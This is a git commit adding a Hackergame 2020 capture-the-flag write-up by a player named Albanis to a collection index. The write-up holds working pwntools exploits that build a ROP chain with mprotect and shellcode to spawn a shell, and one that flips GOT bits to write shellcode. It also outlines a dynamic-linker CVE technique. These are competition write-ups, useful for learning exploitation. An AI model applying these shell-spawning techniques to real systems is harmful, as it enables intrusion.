Merge pull request #29 from emocat/master

Add writeup from Albanis
2020-11-08 16:21:33 +08:00
parent 0df1e3ade2 ca11c48745
commit 23c8c78877
2 changed files with 150 additions and 0 deletions
@@ -66,6 +66,7 @@
 | ranwen [Markdown](players/ranwen/wp.md) [PDF](players/ranwen/wp.pdf) | 总排名第四名 | 签到，猫咪问答++，2048，一闪而过的 Flag，从零开始的记账工具人，超简单的世界模拟器，从零开始的火星文生活，自我复读的复读机，233 的字符串工具，233 同学的 Docker，从零开始的 HTTP 链接，来自一教的图片，超简陋的 OpenGL 小程序，生活在博弈树上-1，来自未来的信笺，狗狗银行，超基础的数理模拟器，永不溢出的计算器，超精巧的数字论证器，超自动的开箱模拟器，超简易的网盘服务器，超安全的代理服务器，超迷你的挖矿模拟器，中间人，不经意传输 |
 | [GalaxySnail](players/GalaxySnail/) | | 一闪而过的 Flag, 超简单的世界模拟器, 从零开始的火星文生活, 自复读的复读机, 233 的字符串工具, 狗狗银行 |
 | [lawvs](players/lawvs/) | | 猫咪问答++, 2048, 从零开始的记账工具人, 超简单的世界模拟器, 从零开始的火星文生活, 自复读的复读机, 233 同学的字符串工具, 233 同学的 Docker, 狗狗银行, 来自一教的图片, 超简陋的 OpenGL 小程序, 生活在博弈树上-1, 普通的身份认证器, 超简易的网盘服务器, 超安全的代理服务器-1, 不经意传输-1 |
+| [Albanis](players/Albanis/) | | 生活在博弈树上，动态链接库检查器，超精准的宇宙射线模拟器，Flag 计算器 |
 | [MiaoTony](https://miaotony.xyz/2020/11/08/CTF_2020Hackergame/?from=GitHub) |  | 签到, 猫咪问答++, 2048, 一闪而过的 Flag, 从零开始的记账工具人, 自复读的复读机, 233 同学的字符串工具, 从零开始的火星文生活, 超简单的世界模拟器, 233 同学的 Docker, 从零开始的 HTTP 链接, 来自一教的图片，超简陋的 OpenGL 小程序, 生活在博弈树上, 来自未来的信笺, 狗狗银行, 超基础的数理模拟器, 普通的身份认证器, 室友的加密硬盘, 超简易的网盘服务器, 超安全的代理服务器, 不经意传输-1 |

 ## 其他资源
@@ -0,0 +1,149 @@
+## 生活在博弈树上
+
+### 始终热爱大地
+
+手动溢出修改success变量
+
+### 升上天空
+
+写ROP链拿shell
+
+```python
+from pwn import *
+context.arch = 'amd64'
+context.log_level = "debug"
+context.terminal = ['tmux', 'split', '-h']
+
+binary = ("./tictactoe")
+elf = ELF(binary, checksec=False)
+
+r = remote("202.38.93.111", 10141)
+
+pop_rdi = 0x00000000004017b6
+pop_rsi = 0x0000000000407228
+pop_rdx = 0x000000000043dbb5
+bss = 0x4a8400
+
+sh = flat([
+    'a'*0x98,
+    pop_rdi, 0,
+    pop_rsi, bss,
+    pop_rdx, 100,
+    elf.sym['read'],
+    pop_rdi, 0x4a8000,
+    pop_rsi, 0x1000,
+    pop_rdx, 7,
+    elf.sym['mprotect'],
+    bss
+    ])
+
+r.sendlineafter("(0,1): ", sh)
+r.sendlineafter("(0,1): ", "(1,1)")
+r.sendlineafter("(0,1): ", "(0,2)")
+r.sendlineafter("(0,1): ", "(1,0)")
+r.sendlineafter("(0,1): ", "(2,2)")
+
+r.send(asm(shellcraft.sh()))
+r.interactive()
+```
+
+## 动态链接库检查器
+
+见[CVE](https://sourceware.org/bugzilla/show_bug.cgi?id=22851)。主要是mmap+MAP_FIXED可以覆盖ld的.text段，从而让ld执行shellcode
+
+## 超精准的宇宙射线模拟器
+
+修改exit的got表1个bit，使程序流在main函数中产生循环，可以达到任意地址写的效果，然后写shellcode进行跳转。
+
+```python
+from pwn import *
+context.arch = 'amd64'
+context.log_level = "debug"
+context.terminal = ['tmux', 'split', '-h']
+
+binary = ("./bitflip")
+
+r = remote("202.38.93.111", 10231)
+
+def writeb(addr, left):
+    r.sendlineafter("flip?\n", hex(addr) + " " + str(left))
+
+def writep(addr, data):
+    for addr_bit in range(8):
+        for xor_bit in range(8):
+            if (data>>xor_bit) & 1 == 1:
+                writeb(addr + addr_bit, xor_bit)
+        data = data >> 8
+        if data == 0:
+            break
+
+writep(0x404039, 1)
+s = asm(shellcraft.sh())
+for i in range(6):
+    writep(0x401970 + i*8, u64(s[8*i:8*i+8]))
+writep(0x404039, 8)
+
+r.interactive()
+```
+
+## Flag计算器
+
+通过逆向汇编代码可知，随机因子不超过0xE40B个，复现一遍程序流程进行爆破即可。
+
+```python
+f = open("output", 'w')
+
+for seed in range(0xE40B):
+	rnd     	= 0x41C64E6D
+	randtable	= []
+	buffer		= [0 for i in range(15)]
+	table1		= [
+		[ 0x5075, 0x4AC5, 0x724A, 0x458C, 0x7194, 0x704A, 0x613A, 0x7133, 0x6654, 0x7C59, 0x6800, 0x60C6, 0x49E4, 0x7164, 0x5DE1] ,
+		[ 0x5981, 0x5B8C, 0x6496, 0x67AB, 0x5494, 0x7A40, 0x57AE, 0x407A, 0x55BD, 0x58E9, 0x760D, 0x7325, 0x73B1, 0x4071, 0x59EE] ,
+		[ 0x5A8B, 0x783D, 0x5D45, 0x71F3, 0x7BB1, 0x67A6, 0x7D9F, 0x5837, 0x6B85, 0x7024, 0x79F0, 0x4306, 0x7CF4, 0x7DBE, 0x5CC3] ,
+		[ 0x5318, 0x531E, 0x6097, 0x7520, 0x62D7, 0x5B95, 0x5A4F, 0x5A73, 0x66EA, 0x6715, 0x781B, 0x7114, 0x7ABA, 0x534B, 0x7C0E] ,
+		[ 0x78BF, 0x4966, 0x5340, 0x620B, 0x574C, 0x6341, 0x72AD, 0x56A4, 0x5C24, 0x707A, 0x46D5, 0x6418, 0x55D4, 0x5B69, 0x60F5] ,
+		[ 0x7A89, 0x6263, 0x7B1D, 0x4D80, 0x70A4, 0x513A, 0x4F0F, 0x5FCB, 0x785E, 0x5DD0, 0x4622, 0x52EB, 0x4133, 0x7652, 0x5B5F] ,
+		[ 0x5002, 0x60F6, 0x7CE0, 0x77BB, 0x6D04, 0x58A2, 0x789B, 0x791B, 0x7C03, 0x4E0A, 0x638A, 0x4883, 0x75BF, 0x6C8C, 0x6822] ,
+		[ 0x66B7, 0x5ACC, 0x69CE, 0x6758, 0x5EBB, 0x6FE7, 0x58FF, 0x6B44, 0x4AF3, 0x5AD4, 0x5E0E, 0x4B03, 0x668B, 0x46C1, 0x4C56] ,
+		[ 0x5FD5, 0x411A, 0x5DE6, 0x7FE8, 0x6FFE, 0x76E6, 0x670B, 0x489F, 0x759D, 0x678D, 0x51D3, 0x6C30, 0x59A1, 0x6B96, 0x7D80] ,
+		[ 0x6348, 0x54AB, 0x4BBD, 0x69CD, 0x72C4, 0x4EC3, 0x526E, 0x78D8, 0x788E, 0x4736, 0x5590, 0x422A, 0x40C3, 0x50A1, 0x6B9F] ,
+		[ 0x58D4, 0x605A, 0x41C4, 0x5B0A, 0x6C0D, 0x678A, 0x6FCF, 0x7478, 0x4EC6, 0x72DD, 0x5DAE, 0x755E, 0x4BA5, 0x615E, 0x4A55] ,
+		[ 0x7EC0, 0x449F, 0x4304, 0x48F6, 0x6FB2, 0x4D39, 0x6FD7, 0x64A9, 0x7A4D, 0x5F89, 0x77A1, 0x5541, 0x7473, 0x42D8, 0x7A8A] ,
+		[ 0x6301, 0x5F0D, 0x5DC5, 0x7B76, 0x78DE, 0x53C1, 0x7787, 0x596E, 0x465F, 0x4E1A, 0x6CFD, 0x68F4, 0x55BC, 0x6BDE, 0x5B99] ,
+		[ 0x5329, 0x4C84, 0x4DF3, 0x6DE5, 0x4138, 0x7B15, 0x666B, 0x4DEA, 0x6CF7, 0x7058, 0x6F83, 0x6E9B, 0x40E6, 0x6596, 0x42E9] ,
+		[ 0x60C1, 0x6020, 0x4532, 0x4512, 0x4864, 0x44BD, 0x723F, 0x7075, 0x6983, 0x7491, 0x7F80, 0x4464, 0x6C0E, 0x5BFC, 0x734A]
+	]
+
+	table2		= [
+		0x0DD, 0x0BFB6, 0x3094, 0x99FF, 0x0AC7C, 0x63B9, 0x56A3, 0x2A9A, 0x3DDF, 0x6A1D, 0x0B289, 0x0D716, 0x0E29D, 0x1BA9, 0x37E4,
+		0x88, 0x0BFA8, 0x30C1, 0x99EC, 0x0AC36, 0x63B0, 0x56F7, 0x2AB1, 0x3DCA, 0x6A08, 0x0B2CE, 0x0D705, 0x0E2F1, 0x1BF4, 0x37E9
+	]
+
+	for i in range(15):
+		r = (seed * rnd) + 0x0BC614E
+		r = r & 0xffffffff
+		rnd = r
+		randtable.append(r)
+
+	for i in range(15):
+		for j in range(15):
+			x = buffer[i]
+			x1 = table1[i][j]
+			x2 = randtable[j]
+
+			w1 = (x1 * x2) & 0xffff
+			buffer[i] = (x + w1) & 0xffff
+
+	flag = []
+	for i in range(30):
+		w1 = table2[i]
+		idx = i % 15
+		x = (w1 ^ buffer[idx]) & 0xff
+		flag.append(chr(x))
+	s = ''.join(flag) + '\n'
+	f.write(s)
+
+f.close()
+```
+